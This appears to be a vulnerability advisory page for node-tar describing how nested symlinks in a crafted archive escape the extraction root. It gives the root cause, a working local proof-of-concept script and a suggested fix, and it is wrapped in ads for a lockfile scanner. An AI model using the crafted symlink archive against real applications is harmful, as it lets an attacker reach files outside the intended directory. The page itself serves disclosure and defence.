HighGHSA-6wwr-g865-f46rCVE-2026-140248

node-tar: Nested symlink target can escape node-tar extraction root

Published 2 Dec 2026 · Updated 2 Dec 2026

Affected package

tarnpm
Affected
>=7.5.22 <8.0.0
Fixed in
8.0.0
Update to the fixed version for your release line, for example:npm install tar@8.0.0

We confirm your address first. See our privacy policy.

Which tar does your project really install?

Drop your package-lock.json hereWe find the exact tar version you install, even when another package pulls it in, and tell you if it’s affected and what to run. Free, no sign-up.

Works for private projects: the file is read in memory to run the scan and then dropped. Also reads yarn.lock, pnpm-lock.yaml or package.json.

Public repo?

Look after several JavaScript apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie

Details

Summary

With default preservePaths: false, tar 7.5.22 can extract a symbolic link whose effective target is outside the extraction directory. A crafted archive first creates one in-root symlink and then a second symlink whose target contains that symlink followed by ... The containment check simplifies the target lexically before checking filesystem symlinks, but the stored target is resolved by the OS through the first symlink. A later consumer following the extracted link can access a file outside the intended root.

This was reproduced locally on commit 2a22bfc5d3a432a606d9da0e2d87ba634aa3b1cb (package version 7.5.22). Earlier versions were not assessed. The PoC only reads a marker that it creates in its own temporary directory. No preexisting file is touched.

Root cause

STRIPABSOLUTEPATH accepts a symlink linkpath containing .. if path.posix.normalize(path.posix.join(entryDir, linkpath)) appears to stay inside the extraction root (src/unpack.ts:263-302). Later, SYMLINK derives parts using path.resolve(dirname(entry.absolute), entry.linkpath) (src/unpack.ts:640-659), which also removes b/.. before ENSURE_NO_SYMLINK inspects each component (src/unpack.ts:679-698). LINK then writes the original unsimplified entry.linkpath with fs.symlink (src/unpack.ts:866-880).

For a/b -> ../x and a/c -> b/../.., the lexical check reduces the second target to the extraction root and never checks a/b. Actual filesystem traversal follows a/b to x first and then processes two parent components, ending in the extraction root's parent.

Safe local PoC

Run from a built checkout of 7.5.22:

import { mkdtempSync, mkdirSync, writeFileSync, readFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { Header, extract } from 'tar'

const parent = mkdtempSync(join(tmpdir(), 'node-tar-link-poc-'))
const out = join(parent, 'out')
mkdirSync(out)
writeFileSync(join(parent, 'outside-marker.txt'), 'OUTSIDE MARKER\n')
const block = h => {
  const b = Buffer.alloc(512)
  new Header(h).encode(b)
  return b
}
const input = join(parent, 'input.tar')
writeFileSync(input, Buffer.concat([
  block({ path: 'x/', type: 'Directory', size: 0 }),
  block({ path: 'a/', type: 'Directory', size: 0 }),
  block({ path: 'a/b', type: 'SymbolicLink', linkpath: '../x', size: 0 }),
  block({ path: 'a/c', type: 'SymbolicLink', linkpath: 'b/../..', size: 0 }),
  Buffer.alloc(1024),
]))

const warnings = []
await extract({ file: input, cwd: out, onwarn: (code, message) => warnings.push({ code, message }) })
console.log(readFileSync(join(out, 'a/c/outside-marker.txt'), 'utf8').trim())
console.log(warnings)
// OUTSIDE MARKER
// []

The marker is outside out; the access passes through a symlink extracted under out. This demonstrates the target containment bypass. It does not claim that node-tar itself writes outside out while extracting a subsequent member; its existing path checks may stop such an entry.

Impact and suggested fix

An attacker needs to supply a tar archive to an application that extracts links and later follows or serves files from the extracted tree. The resulting link crosses the documented default target confinement. The downstream read/write impact depends on that consumer.

Validate link targets using filesystem semantics before accepting them, or conservatively reject a target that traverses .. after a symlink component. In particular, inspect the unsimplified components before path.resolve() removes them. Add a regression case with a symlink component followed by .., and assert that the second link is rejected under default options.

Credit goes to GitHub user @mikkel32 as finder/reporter in the published advisory.

Is GHSA-6wwr-g865-f46r in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected tar, and gives you the command that fixes it.

More advisories for tar

  • HighCVE-2026-140234node-tar: Incomplete NUL-byte truncation in ustar, GNU, and PAX names causes name differentials and async crashes · 2 Dec 2026
  • HighCVE-2026-140235node-tar parses PAX extended headers by newline-splitting instead of length-delimiting, causing record dropping and forged-field injection · 2 Dec 2026
  • HighCVE-2026-140236node-tar: Archive framing differential from PAX size still being applied to GNU/PAX meta entries via ReadEntry and related size/precedence inconsistencies · 2 Dec 2026
  • MediumCVE-2026-140237node-tar: ReadEntry pending PAX size reapplication permits metadata-body file smuggling · 2 Dec 2026
  • HighCVE-2026-140238node-tar: Newline injection in PAX extended-header records enables entry-attribute forgery (path overwrite → npm postinstall RCE on Windows) · 2 Dec 2026
  • HighCVE-2026-140239node-tar: Global PAX extended header injects attacker-controlled linkpath into tar.Parser entries, bypassing strict-mode validation · 2 Dec 2026
All 39 advisories for tar

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.